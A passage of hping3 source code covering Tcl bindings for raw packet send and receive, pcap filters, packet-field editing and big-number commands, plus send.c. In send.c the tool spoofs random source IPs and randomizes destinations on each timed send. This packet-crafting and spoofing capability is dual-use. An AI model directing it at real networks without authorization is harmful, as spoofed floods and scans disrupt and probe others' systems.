(HpingRecvPackets(ra, interp, result, timeout, maxpackets, rapd, hexdata)) return TCL_ERROR; return TCL_OK; } /* The two wrappers for the __HpingRecvRawCmd() */ static int HpingRecvRawCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { return __HpingRecvCmd(clientData, interp, objc, objv, 0, 0); } static int HpingRecvCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { char *firstarg; int hexdata = 0; if (objc >= 3) { firstarg = Tcl_GetStringFromObj(objv[2], NULL); if (!strcmp(firstarg, "-hexdata")) { hexdata = 1; objc--; objv++; } } return __HpingRecvCmd(clientData, interp, objc, objv, 1, hexdata); } /* hping getinterfaces */ static int HpingGetInterfacesCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { struct hpingif ifaces[HPING_IFACE_MAX]; int found, i; Tcl_Obj *result; if (objc != 2) { Tcl_WrongNumArgs(interp, 2, objv, ""); return TCL_ERROR; } result = Tcl_GetObjResult(interp); found = hping_get_interfaces(ifaces, HPING_IFACE_MAX); if (found == -1) { Tcl_SetStringObj(result, "Listing interfaces: ", -1); Tcl_AppendStringsToObj(result, strerror(errno), NULL); return TCL_ERROR; } for (i = 0; i < found; i++) { struct in_addr ia; char mtu[32]; int j, flags = 0; snprintf(mtu, 32, "%d", ifaces[i].hif_mtu); Tcl_AppendStringsToObj(result, "{", ifaces[i].hif_name, " ", mtu, " ", NULL); Tcl_AppendStringsToObj(result, "{", NULL); for (j = 0; j < ifaces[i].hif_naddr; j++) { ia.s_addr = ifaces[i].hif_addr[j]; Tcl_AppendStringsToObj(result, inet_ntoa(ia), NULL); if ((j+1) < ifaces[i].hif_naddr) Tcl_AppendStringsToObj(result, " ", NULL); } Tcl_AppendStringsToObj(result, "}", NULL); if (ifaces[i].hif_broadcast) { Tcl_AppendStringsToObj(result, " {", NULL); for (j = 0; j < ifaces[i].hif_naddr; j++) { ia.s_addr = ifaces[i].hif_baddr[j]; Tcl_AppendStringsToObj(result, inet_ntoa(ia), NULL); if ((j+1) < ifaces[i].hif_naddr) Tcl_AppendStringsToObj(result, " ", NULL); } Tcl_AppendStringsToObj(result, "} {", NULL); } else { Tcl_AppendStringsToObj(result, " {} {", NULL); } if (ifaces[i].hif_loopback) { Tcl_AppendStringsToObj(result, flags ? " " : "", "LOOPBACK", NULL); flags++; } if (ifaces[i].hif_ptp) { Tcl_AppendStringsToObj(result, flags ? " " : "", "POINTOPOINT", NULL); flags++; } if (ifaces[i].hif_promisc) { Tcl_AppendStringsToObj(result, flags ? " " : "", "PROMISC", NULL); flags++; } if (ifaces[i].hif_broadcast) { Tcl_AppendStringsToObj(result, flags ? " " : "", "BROADCAST", NULL); flags++; } if (ifaces[i].hif_nolink) { Tcl_AppendStringsToObj(result, flags ? " " : "", "NOLINK", NULL); flags++; } Tcl_AppendStringsToObj(result, "}} ", NULL); } return TCL_OK; } /* hping outifaddr destaddr */ static int HpingGetOutIfAddrCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { struct sockaddr_in dest, ifaddr; Tcl_Obj *result; char *deststr; if (objc != 3) { Tcl_WrongNumArgs(interp, 2, objv, "destaddr"); return TCL_ERROR; } result = Tcl_GetObjResult(interp); deststr = Tcl_GetStringFromObj(objv[2], NULL); if (resolve_addr((struct sockaddr*)&dest, deststr) == -1) { Tcl_SetStringObj(result, "Unable to resolve: ", -1); Tcl_AppendStringsToObj(result, deststr, NULL); return TCL_ERROR; } if (get_output_if(&dest, &ifaddr) == -1) { Tcl_SetStringObj(result, "Can't get output interface: ", -1); Tcl_AppendStringsToObj(result, strerror(errno), NULL); return TCL_ERROR; } Tcl_SetStringObj(result, inet_ntoa(ifaddr.sin_addr), -1); return TCL_OK; } /* hping getfield layer field ?skip? packet */ static int HpingGetFieldCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { char *layer, *field, *value, *packet; int skip = 0; Tcl_Obj *result; if (objc != 5 && objc != 6) { Tcl_WrongNumArgs(interp, 2, objv, "layer field ?skip? packet"); return TCL_ERROR; } result = Tcl_GetObjResult(interp); layer = Tcl_GetStringFromObj(objv[2], NULL); field = Tcl_GetStringFromObj(objv[3], NULL); if (objc == 6) { Tcl_GetIntFromObj(interp, objv[4], &skip); packet = Tcl_GetStringFromObj(objv[5], NULL); } else { packet = Tcl_GetStringFromObj(objv[4], NULL); } value = ars_d_field_get(packet, layer, field, skip); if (value) { Tcl_SetStringObj(result, value, -1); free(value); } return TCL_OK; } /* hping hasfield layer field ?skip? packet */ static int HpingHasFieldCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { char *layer, *field, *packet; int skip = 0; Tcl_Obj *result; if (objc != 5 && objc != 6) { Tcl_WrongNumArgs(interp, 2, objv, "layer field ?skip? packet"); return TCL_ERROR; } result = Tcl_GetObjResult(interp); layer = Tcl_GetStringFromObj(objv[2], NULL); field = Tcl_GetStringFromObj(objv[3], NULL); if (objc == 6) { Tcl_GetIntFromObj(interp, objv[4], &skip); packet = Tcl_GetStringFromObj(objv[5], NULL); } else { packet = Tcl_GetStringFromObj(objv[4], NULL); } if (ars_d_field_off(packet, layer, field, skip, NULL, NULL, NULL)) Tcl_SetIntObj(result, 1); else Tcl_SetIntObj(result, 0); return TCL_OK; } /* hping setfield layer field value ?skip? packet */ static int HpingSetFieldCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { char *layer, *field, *value, *packet; int skip = 0, vstart, vend; Tcl_Obj *result; if (objc != 6 && objc != 7) { Tcl_WrongNumArgs(interp, 2, objv, "layer field value ?skip? packet"); return TCL_ERROR; } result = Tcl_GetObjResult(interp); layer = Tcl_GetStringFromObj(objv[2], NULL); field = Tcl_GetStringFromObj(objv[3], NULL); value = Tcl_GetStringFromObj(objv[4], NULL); if (objc == 7) { Tcl_GetIntFromObj(interp, objv[5], &skip); packet = Tcl_GetStringFromObj(objv[6], NULL); } else { packet = Tcl_GetStringFromObj(objv[5], NULL); } if (!ars_d_field_off(packet, layer, field, skip, NULL, &vstart, &vend)){ Tcl_AppendStringsToObj(result, "no such field ", layer, " ", field, NULL); return TCL_ERROR; } Tcl_AppendToObj(result, packet, vstart); Tcl_AppendObjToObj(result, objv[4]); Tcl_AppendStringsToObj(result, packet+vend+1, NULL); return TCL_OK; } /* hping delfield layer field ?skip? packet */ static int HpingDelFieldCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { char *layer, *field, *packet; int skip = 0, fstart, vend; Tcl_Obj *result; if (objc != 5 && objc != 6) { Tcl_WrongNumArgs(interp, 2, objv, "layer field ?skip? packet"); return TCL_ERROR; } result = Tcl_GetObjResult(interp); layer = Tcl_GetStringFromObj(objv[2], NULL); field = Tcl_GetStringFromObj(objv[3], NULL); if (objc == 6) { Tcl_GetIntFromObj(interp, objv[4], &skip); packet = Tcl_GetStringFromObj(objv[5], NULL); } else { packet = Tcl_GetStringFromObj(objv[4], NULL); } if (!ars_d_field_off(packet, layer, field, skip, &fstart, NULL, &vend)){ if (objc == 6) Tcl_AppendObjToObj(result, objv[5]); else Tcl_AppendObjToObj(result, objv[4]); return TCL_OK; } if (packet[fstart-1] == ',' && (packet[vend+1] == ')' || packet[vend+1] == ',')) { fstart--; } Tcl_AppendToObj(result, packet, fstart); if (packet[fstart-1] == '(' && packet[vend+1] == ',') packet++; Tcl_AppendStringsToObj(result, packet+vend+1, NULL); return TCL_OK; } /* hping checksum string */ static int HpingChecksumCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { Tcl_Obj *result; u_int16_t cksum; char *data; int len; result = Tcl_GetObjResult(interp); if (objc != 3) { Tcl_WrongNumArgs(interp, 2, objv, "string"); return TCL_ERROR; } data = Tcl_GetStringFromObj(objv[2], &len); cksum = ars_cksum(data, len); Tcl_SetIntObj(result, cksum); return TCL_OK; } /* hping setfilter ifname filter */ static int HpingSetFilterCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { struct recv_handler *ra; struct bpf_program bpfp; char *ifname, *filter; Tcl_Obj *result; result = Tcl_GetObjResult(interp); if (objc != 4) { Tcl_WrongNumArgs(interp, 2, objv, "ifname filter"); return TCL_ERROR; } ifname = Tcl_GetStringFromObj(objv[2], NULL); filter = Tcl_GetStringFromObj(objv[3], NULL); /* Get the interface pcap handler */ ra = HpingRecvGetHandler(recv_handlers, HPING_IFACE_MAX, ifname, interp); if (ra == NULL) { Tcl_SetStringObj(result, "Unable to open the interface setting the pcap filter", -1); return TCL_ERROR; } /* Compile and set the filter */ if (pcap_compile(ra->rh_pcapfp, &bpfp, filter, 0, 0) == -1) { Tcl_AppendStringsToObj(result, "Error compiling the pcap filter: '", pcap_geterr(ra->rh_pcapfp), "'", NULL); return TCL_ERROR; } if (pcap_setfilter(ra->rh_pcapfp, &bpfp) == -1) { Tcl_AppendStringsToObj(result, "Error setting the pcap filter: '", pcap_geterr(ra->rh_pcapfp), "'", NULL); pcap_freecode(&bpfp); return TCL_ERROR; } pcap_freecode(&bpfp); return TCL_OK; } /* event handler for the [hping event] command. */ void HpingEventHandler(void *clientData, int mask) { struct recv_handler *ra = clientData; if (Tcl_EvalObjEx(ra->rh_interp, ra->rh_handlerscript, TCL_EVAL_GLOBAL|TCL_EVAL_DIRECT) != TCL_OK) { Tcl_BackgroundError(ra->rh_interp); } } /* hping event ifname ?script? */ static int HpingEventCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { struct recv_handler *ra; char *ifname; Tcl_Obj *result; int scriptlen; result = Tcl_GetObjResult(interp); if (objc != 3 && objc != 4) { Tcl_WrongNumArgs(interp, 2, objv, "ifname ?script?"); return TCL_ERROR; } ifname = Tcl_GetStringFromObj(objv[2], NULL); /* Get the interface pcap handler */ ra = HpingRecvGetHandler(recv_handlers, HPING_IFACE_MAX, ifname, interp); if (ra == NULL) { Tcl_SetStringObj(result, "Unable to open the interface setting the pcap filter", -1); return TCL_ERROR; } /* If the script argument is missing, return the script * currently set if any */ if(objc == 3) { if(ra->rh_interp != NULL) Tcl_SetObjResult(interp, ra->rh_handlerscript); return TCL_OK; } /* Set the script in the target interface */ if (ra->rh_interp != NULL) Tcl_DecrRefCount(ra->rh_handlerscript); /* CHeck if the script is empty, if so clear the handler */ Tcl_GetStringFromObj(objv[3], &scriptlen); if (scriptlen != 0) { ra->rh_handlerscript = objv[3]; Tcl_IncrRefCount(objv[3]); ra->rh_interp = interp; /* Register the handler for this file descriptor */ Tcl_CreateFileHandler(pcap_fileno(ra->rh_pcapfp), TCL_READABLE, HpingEventHandler, (void*)ra); } else { ra->rh_interp = NULL; } return TCL_OK; } /* --------------------------------- Misc ----------------------------------- */ #if 0 /* hping setfilter ifname filter */ static int HpingSoftrealtimeCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { struct sched_param sp; int min, max, virtual_priority; struct Tcl_Obj *result; if (objc != 3) { Tcl_WrongNumArgs(interp, 2, objv, "priority (in the range 0-99)"); return TCL_ERROR; } result = Tcl_GetObjResult(interp); Tcl_GetIntFromObj(interp, objv[2], &virtual_priority); if (virtual_priority < 0 || virtual_priority > 99) { Tcl_SetStringObj(result, "priority must be in the range 0-99", -1); return TCL_ERROR; } min = sched_get_priority_min(SCHED_RR); max = sched_get_priority_max(SCHED_RR); /* Map the virutal priority to the range supported in this OS */ { float vmul = (max-min)+1; vmul /= 100; sp.sched_priority = min + (int)(virtual_priority*vmul); } /* sched_setscheduler() may fail, but we just ignore the error */ sched_setscheduler(0, SCHED_RR, &sp); return TCL_OK; } #endif /* ---------------------- hping command implementation ---------------------- */ struct subcmd { char *name; int (*proc)(ClientData cd, Tcl_Interp *i, int, Tcl_Obj *CONST objv[]); } subcmds[] = { { "resolve", HpingResolveCmd }, { "send", HpingSendCmd }, { "sendraw", HpingSendRawCmd }, { "recv", HpingRecvCmd }, { "recvraw", HpingRecvRawCmd }, { "setfilter", HpingSetFilterCmd }, { "iflist", HpingGetInterfacesCmd }, { "outifa", HpingGetOutIfAddrCmd }, { "getfield", HpingGetFieldCmd }, { "hasfield", HpingHasFieldCmd }, { "setfield", HpingSetFieldCmd }, { "delfield", HpingDelFieldCmd }, { "checksum", HpingChecksumCmd }, { "event", HpingEventCmd }, #if 0 { "softrealtime", HpingSoftrealtimeCmd }, #endif { NULL, NULL }, }; static int HpingObjCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { int i = 0; char *scmd; Tcl_Obj *result; if (objc < 2) { Tcl_WrongNumArgs(interp, 1, objv, "option ?arg ...?"); return TCL_ERROR; } scmd = Tcl_GetStringFromObj(objv[1], NULL); while(subcmds[i].name) { if (!strcmp(scmd, subcmds[i].name)) return subcmds[i].proc(clientData, interp, objc, objv); i++; } result = Tcl_GetObjResult(interp); Tcl_SetStringObj(result, "Bad option ", -1); Tcl_AppendStringsToObj(result, "\"", scmd, "\"", " must be: ", NULL); i = 0; while(subcmds[i].name) { Tcl_AppendStringsToObj(result, subcmds[i].name, NULL); if (subcmds[i+1].name) Tcl_AppendStringsToObj(result, ", ", NULL); i++; } return TCL_ERROR; } /* -------------------- multiprecision math commands ------------------------ */ #if 0 /* XXX: actually this binding is pretty naive, we are not using * a Tcl dual-port rappresentation for bignums, instead we convert from/to * string rappresentation, wasting the almost decent performences * of the sbignum library (and even worse, because to/from string conversion * is not optimized). Btw, for now this seems enough, there will be * time to improve on this in the future if needed, without to break the API. */ static int BigBasicObjCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { Tcl_Obj *result; mpz_t res, t; char *s = NULL, *cmd; cmd = Tcl_GetStringFromObj(objv[0], NULL); objc--; objv++; result = Tcl_GetObjResult(interp); mpz_init(res); mpz_init(t); mpz_setzero(res); if (cmd[0] == '*' || cmd[0] == '/') { if (mpz_set_ui(res, 1) != SBN_OK) goto err; } if ((cmd[0] == '/' || cmd[0] == '%') && objc) { s = Tcl_GetStringFromObj(objv[0], NULL); if (mpz_set_str(res, s, 0) != SBN_OK) goto err; objc--; objv++; } while(objc--) { s = Tcl_GetStringFromObj(objv[0], NULL); if (mpz_set_str(t, s, 0) != SBN_OK) goto err; switch(cmd[0]) { case '+': if (mpz_add(res, res, t) != SBN_OK) goto err; break; case '-': if (mpz_sub(res, res, t) != SBN_OK) goto err; break; case '*': if (mpz_mul(res, res, t) != SBN_OK) goto err; break; case '/': if (mpz_tdiv_q(res, res, t) != SBN_OK) goto err; break; case '%': if (mpz_mod(res, res, t) != SBN_OK) goto err; break; } objv++; } if ((s = mpz_get_str(NULL, 10, res)) == NULL) goto err; Tcl_SetStringObj(result, s, -1); free(s); mpz_clear(res); mpz_clear(t); return TCL_OK; err: mpz_clear(res); mpz_clear(t); Tcl_AppendStringsToObj(result, "Not a valid big number: ", s, NULL); return TCL_ERROR; } #endif /* -------------------------- Mpz object implementation --------------------- */ static void Tcl_SetMpzObj(Tcl_Obj *objPtr, mpz_ptr val); //static Tcl_Obj *Tcl_NewMpzObj(void); static void FreeMpzInternalRep(Tcl_Obj *objPtr); static void DupMpzInternalRep(Tcl_Obj *srcPtr, Tcl_Obj *copyPtr); static void UpdateStringOfMpz(Tcl_Obj *objPtr); static int SetMpzFromAny(struct Tcl_Interp* interp, Tcl_Obj *objPtr); struct Tcl_ObjType tclMpzType = { "mpz", FreeMpzInternalRep, DupMpzInternalRep, UpdateStringOfMpz, SetMpzFromAny }; /* This function set objPtr as an mpz object with value * 'val'. If 'val' == NULL, the mpz object is set to zero. */ void Tcl_SetMpzObj(Tcl_Obj *objPtr, mpz_ptr val) { Tcl_ObjType *typePtr; mpz_ptr mpzPtr; /* It's not a good idea to set a shared object... */ if (Tcl_IsShared(objPtr)) { panic("Tcl_SetMpzObj called with shared object"); } /* Free the old object private data and invalidate the string * representation. */ typePtr = objPtr->typePtr; if ((typePtr != NULL) && (typePtr->freeIntRepProc != NULL)) { (*typePtr->freeIntRepProc)(objPtr); } Tcl_InvalidateStringRep(objPtr); /* Allocate and initialize a new bignum */ mpzPtr = (mpz_ptr) ckalloc(sizeof(struct struct_sbnz)); mpz_init(mpzPtr); if (val && mpz_set(mpzPtr, val) != SBN_OK) { panic("Out of memory in Tcl_SetMpzObj"); } /* Set it as object private data, and type */ objPtr->typePtr = &tclMpzType; objPtr->internalRep.otherValuePtr = (void*) mpzPtr; } /* Return an mpz from the object. If the object is not of type mpz * an attempt to convert it to mpz is done. On failure (the string * representation of the object can't be converted on a bignum) * an error is returned. */ int Tcl_GetMpzFromObj(struct Tcl_Interp *interp, Tcl_Obj *objPtr, mpz_ptr *mpzPtrPtr) { int result; if (objPtr->typePtr != &tclMpzType) { result = SetMpzFromAny(interp, objPtr); if (result != TCL_OK) return result; } *mpzPtrPtr = (mpz_ptr) objPtr->internalRep.longValue; return TCL_OK; } /* Create a new mpz object */ Tcl_Obj *Tcl_NewMpzObj(void) { struct Tcl_Obj *objPtr; /* Create a new Tcl Object */ objPtr = Tcl_NewObj(); Tcl_SetMpzObj(objPtr, 0); return objPtr; } /* The 'free' method of the object. */ void FreeMpzInternalRep(Tcl_Obj *objPtr) { mpz_ptr mpzPtr = (mpz_ptr) objPtr->internalRep.otherValuePtr; mpz_clear(mpzPtr); ckfree((void*)mpzPtr); } /* The 'dup' method of the object */ void DupMpzInternalRep(Tcl_Obj *srcPtr, Tcl_Obj *copyPtr) { mpz_ptr mpzCopyPtr = (mpz_ptr) ckalloc(sizeof(struct struct_sbnz)); mpz_ptr mpzSrcPtr; mpz_init(mpzCopyPtr); mpzSrcPtr = (mpz_ptr) srcPtr->internalRep.otherValuePtr; if (mpz_set(mpzCopyPtr, mpzSrcPtr) != SBN_OK) panic("Out of memory inside DupMpzInternalRep()"); copyPtr->internalRep.otherValuePtr = (void*) mpzCopyPtr; copyPtr->typePtr = &tclMpzType; } /* The 'update string' method of the object */ void UpdateStringOfMpz(Tcl_Obj *objPtr) { size_t len; mpz_ptr mpzPtr = (mpz_ptr) objPtr->internalRep.otherValuePtr; len = mpz_sizeinbase(mpzPtr, 10)+2; objPtr->bytes = ckalloc(len); mpz_get_str(objPtr->bytes, 10, mpzPtr); /* XXX: fixme, modifing the sbignum library it is * possible to get the length of the written string. */ objPtr->length = strlen(objPtr->bytes); } /* The 'set from any' method of the object */ int SetMpzFromAny(struct Tcl_Interp* interp, Tcl_Obj *objPtr) { char *s; mpz_t t; mpz_ptr mpzPtr; Tcl_ObjType *typePtr; if (objPtr->typePtr == &tclMpzType) return TCL_OK; /* Try to convert */ s = Tcl_GetStringFromObj(objPtr, NULL); mpz_init(t); if (mpz_set_str(t, s, 0) != SBN_OK) { mpz_clear(t); Tcl_ResetResult(interp); Tcl_AppendStringsToObj(Tcl_GetObjResult(interp), "Invalid big number: \"", s, "\" must be a relative integer number", NULL); return TCL_ERROR; } /* Allocate */ mpzPtr = (mpz_ptr) ckalloc(sizeof(struct struct_sbnz)); mpz_init(mpzPtr); /* Free the old object private rep */ typePtr = objPtr->typePtr; if ((typePtr != NULL) && (typePtr->freeIntRepProc != NULL)) { (*typePtr->freeIntRepProc)(objPtr); } /* Set it */ objPtr->typePtr = &tclMpzType; objPtr->internalRep.otherValuePtr = (void*) mpzPtr; memcpy(mpzPtr, t, sizeof(*mpzPtr)); return TCL_OK; } /* --------------- the actual commands for multipreicision math ------------- */ static int BigBasicObjCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { Tcl_Obj *result; mpz_t res; mpz_ptr t; char *cmd; cmd = Tcl_GetStringFromObj(objv[0], NULL); objc--; objv++; result = Tcl_GetObjResult(interp); mpz_init(res); mpz_setzero(res); if (cmd[0] == '*' || cmd[0] == '/') { if (mpz_set_ui(res, 1) != SBN_OK) goto err; } if ((cmd[0] == '/' || cmd[0] == '%' || cmd[0] == '-') && objc) { if (Tcl_GetMpzFromObj(interp, objv[0], &t) != TCL_OK) goto err; if (mpz_set(res, t) != SBN_OK) goto oom; if (cmd[0] == '-' && objc == 1) res->s = !res->s; objc--; objv++; } while(objc--) { if (Tcl_GetMpzFromObj(interp, objv[0], &t) != TCL_OK) goto err; switch(cmd[0]) { case '+': if (mpz_add(res, res, t) != SBN_OK) goto oom; break; case '-': if (mpz_sub(res, res, t) != SBN_OK) goto oom; break; case '*': if (mpz_mul(res, res, t) != SBN_OK) goto oom; break; case '/': if (mpz_tdiv_q(res, res, t) != SBN_OK) goto oom; break; case '%': if (mpz_mod(res, res, t) != SBN_OK) goto oom; break; } objv++; } Tcl_SetMpzObj(result, res); mpz_clear(res); return TCL_OK; err: mpz_clear(res); return TCL_ERROR; oom: Tcl_SetStringObj(result, "Out of memory doing multiprecision math", -1); mpz_clear(res); return TCL_ERROR; } static int BigCmpObjCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { Tcl_Obj *result; mpz_ptr a, b; int cmp, res; char *cmd; if (objc != 3) { Tcl_WrongNumArgs(interp, 1, objv, "bignum bignum"); return TCL_ERROR; } cmd = Tcl_GetStringFromObj(objv[0], NULL); if (Tcl_GetMpzFromObj(interp, objv[1], &a) != TCL_OK || Tcl_GetMpzFromObj(interp, objv[2], &b) != TCL_OK) return TCL_ERROR; cmp = mpz_cmp(a, b); result = Tcl_GetObjResult(interp); res = 0; switch(cmd[0]) { case '>': switch(cmd[1]) { case '=': if (cmp >= 0) res = 1; break; default: if (cmp > 0) res = 1; break; } break; case '<': switch(cmd[1]) { case '=': if (cmp <= 0) res = 1; break; default: if (cmp < 0) res = 1; break; } break; case '=': if (cmp == 0) res = 1; break; case '!': if (cmp != 0) res = 1; break; } Tcl_SetIntObj(result, res); return TCL_OK; } static int BigRandObjCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { Tcl_Obj *result; int len = 1; mpz_t r; if (objc != 1 && objc != 2) { Tcl_WrongNumArgs(interp, 1, objv, "?atoms?"); return TCL_ERROR; } if (objc == 2 && Tcl_GetIntFromObj(interp, objv[1], &len) != TCL_OK) return TCL_ERROR; result = Tcl_GetObjResult(interp); mpz_init(r); if (mpz_random(r, len) != SBN_OK) { mpz_clear(r); Tcl_SetStringObj(result, "Out of memory", -1); return TCL_ERROR; } Tcl_SetMpzObj(result, r); mpz_clear(r); return TCL_OK; } static int BigSrandObjCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { char *seed; int len; if (objc != 2) { Tcl_WrongNumArgs(interp, 1, objv, "seed-string"); return TCL_ERROR; } seed = Tcl_GetStringFromObj(objv[1], &len); sbn_seed(seed, len); return TCL_OK; } static int BigPowObjCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { Tcl_Obj *result; int mpzerr; mpz_t r; /* result */ mpz_ptr b, e, m; /* base, exponent, modulo */ if (objc != 3 && objc != 4) { Tcl_WrongNumArgs(interp, 1, objv, "base exponent ?modulo?"); return TCL_ERROR; } if (Tcl_GetMpzFromObj(interp, objv[1], &b) != TCL_OK || Tcl_GetMpzFromObj(interp, objv[2], &e) != TCL_OK || (objc == 4 && Tcl_GetMpzFromObj(interp, objv[3], &m) != TCL_OK)) return TCL_ERROR; result = Tcl_GetObjResult(interp); mpz_init(r); if (objc == 4) mpzerr = mpz_powm(r, b, e, m); else mpzerr = mpz_pow(r, b, e); if (mpzerr != SBN_OK) { mpz_clear(r); if (mpzerr == SBN_INVAL) Tcl_SetStringObj(result, "Negative exponent", -1); else Tcl_SetStringObj(result, "Out of memory", -1); return TCL_ERROR; } Tcl_SetMpzObj(result, r); mpz_clear(r); return TCL_OK; } /* ------------------- interpreter creation/invocation ---------------------- */ static int HpingTcl_AppInit(Tcl_Interp *interp) { /* Initialization */ if (Tcl_Init(interp) == TCL_ERROR) return TCL_ERROR; HpingRecvInit(recv_handlers, HPING_IFACE_MAX); /* Register hping API */ Tcl_SetVar(interp, "hping_version", RELEASE_VERSION, TCL_GLOBAL_ONLY); Tcl_SetVar(interp, "tcl_prompt1", "puts -nonewline {hping3> }", TCL_GLOBAL_ONLY); Tcl_CreateObjCommand(interp, "hping", HpingObjCmd, (ClientData)NULL, (Tcl_CmdDeleteProc*)NULL); Tcl_CreateObjCommand(interp, "+", BigBasicObjCmd, (ClientData)NULL, (Tcl_CmdDeleteProc*)NULL); Tcl_CreateObjCommand(interp, "-", BigBasicObjCmd, (ClientData)NULL, (Tcl_CmdDeleteProc*)NULL); Tcl_CreateObjCommand(interp, "*", BigBasicObjCmd, (ClientData)NULL, (Tcl_CmdDeleteProc*)NULL); Tcl_CreateObjCommand(interp, "/", BigBasicObjCmd, (ClientData)NULL, (Tcl_CmdDeleteProc*)NULL); Tcl_CreateObjCommand(interp, "%", BigBasicObjCmd, (ClientData)NULL, (Tcl_CmdDeleteProc*)NULL); Tcl_CreateObjCommand(interp, ">", BigCmpObjCmd, (ClientData)NULL, (Tcl_CmdDeleteProc*)NULL); Tcl_CreateObjCommand(interp, ">=", BigCmpObjCmd, (ClientData)NULL, (Tcl_CmdDeleteProc*)NULL); Tcl_CreateObjCommand(interp, "<", BigCmpObjCmd, (ClientData)NULL, (Tcl_CmdDeleteProc*)NULL); Tcl_CreateObjCommand(interp, "<=", BigCmpObjCmd, (ClientData)NULL, (Tcl_CmdDeleteProc*)NULL); Tcl_CreateObjCommand(interp, "==", BigCmpObjCmd, (ClientData)NULL, (Tcl_CmdDeleteProc*)NULL); Tcl_CreateObjCommand(interp, "!=", BigCmpObjCmd, (ClientData)NULL, (Tcl_CmdDeleteProc*)NULL); Tcl_CreateObjCommand(interp, "rand", BigRandObjCmd, (ClientData)NULL, (Tcl_CmdDeleteProc*)NULL); Tcl_CreateObjCommand(interp, "srand", BigSrandObjCmd, (ClientData)NULL, (Tcl_CmdDeleteProc*)NULL); Tcl_CreateObjCommand(interp, "**", BigPowObjCmd, (ClientData)NULL, (Tcl_CmdDeleteProc*)NULL); /* Eval the hpingrc, fi any */ { char *home = getenv("HOME"); if (home) { char rcfile[PATH_MAX]; snprintf(rcfile, PATH_MAX, "%s/.hpingrc", home); rcfile[PATH_MAX-1] = '\0'; Tcl_EvalFile(interp, rcfile); Tcl_ResetResult(interp); } } return TCL_OK; } void hping_script(int argc, char **argv) { Tcl_Main(argc, argv, HpingTcl_AppInit); exit(0); } #endif /* USE_TCL */ hping3-3.a2.ds2/send.c000066400000000000000000000044321021454026700144770ustar00rootroot00000000000000/* * $smu-mark$ * $name: sendudp.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:49 MET 1999$ * $rev: 8$ */ /* $Id: send.c,v 1.1.1.1 2003/08/31 17:23:53 antirez Exp $ */ #include #include #include #include #include #include #include #include "hping2.h" #include "globals.h" static void select_next_random_source(void) { unsigned char ra[4]; ra[0] = hp_rand() & 0xFF; ra[1] = hp_rand() & 0xFF; ra[2] = hp_rand() & 0xFF; ra[3] = hp_rand() & 0xFF; memcpy(&local.sin_addr.s_addr, ra, 4); if (opt_debug) printf("DEBUG: the source address is %u.%u.%u.%u\n", ra[0], ra[1], ra[2], ra[3]); } static void select_next_random_dest(void) { unsigned char ra[4]; char a[4], b[4], c[4], d[4]; if (sscanf(targetname, "%4[^.].%4[^.].%4[^.].%4[^.]", a, b, c, d) != 4) { fprintf(stderr, "wrong --rand-dest target host, correct examples:\n" " x.x.x.x, 192,168.x.x, 128.x.x.255\n" "you typed: %s\n", targetname); exit(1); } a[3] = b[3] = c[3] = d[3] = '\0'; ra[0] = a[0] == 'x' ? (hp_rand() & 0xFF) : strtoul(a, NULL, 0); ra[1] = b[0] == 'x' ? (hp_rand() & 0xFF) : strtoul(b, NULL, 0); ra[2] = c[0] == 'x' ? (hp_rand() & 0xFF) : strtoul(c, NULL, 0); ra[3] = d[0] == 'x' ? (hp_rand() & 0xFF) : strtoul(d, NULL, 0); memcpy(&remote.sin_addr.s_addr, ra, 4); if (opt_debug) { printf("DEBUG: the dest address is %u.%u.%u.%u\n", ra[0], ra[1], ra[2], ra[3]); } } /* The signal handler for SIGALRM will send the packets */ void send_packet (int signal_id) { int errno_save = errno; if (opt_rand_dest) select_next_random_dest(); if (opt_rand_source) select_next_random_source(); if (opt_rawipmode) send_rawip(); else if (opt_icmpmode) send_icmp(); else if (opt_udpmode) send_udp(); else send_tcp(); sent_pkt++; Signal(SIGALRM, send_packet); if (count != -1 && count == sent_pkt) { /* count reached? */ Signal(SIGALRM, print_statistics); alarm(COUNTREACHED_TIMEOUT); } else if (!opt_listenmode) { if (opt_waitinusec == FALSE) alarm(sending_wait); else setitimer(ITIMER_REAL, &usec_delay, NULL); } errno = errno_save; } hping3-3.a2.ds2/sendhcmp.c000066400000000000000000000021761021454026700153520ustar00rootroot00000000000000/* * $smu-mark$ * $name: sendhcmp.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:49 MET 1999$ * $rev: 4$ */ /* $Id: sendhcmp.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include #include #include /* SIGALARM macro */ #include "hping2.h" #include "globals.h" #define MUST_BE_UNREACHED 0 void send_hcmp(__u8 type, __u32 arg) { static struct hcmphdr hcmph; /* static because we export this */ /* to data_handler() */ data_size = signlen + sizeof(struct hcmphdr); /* build hcmp header */ memset(&hcmph, 0, 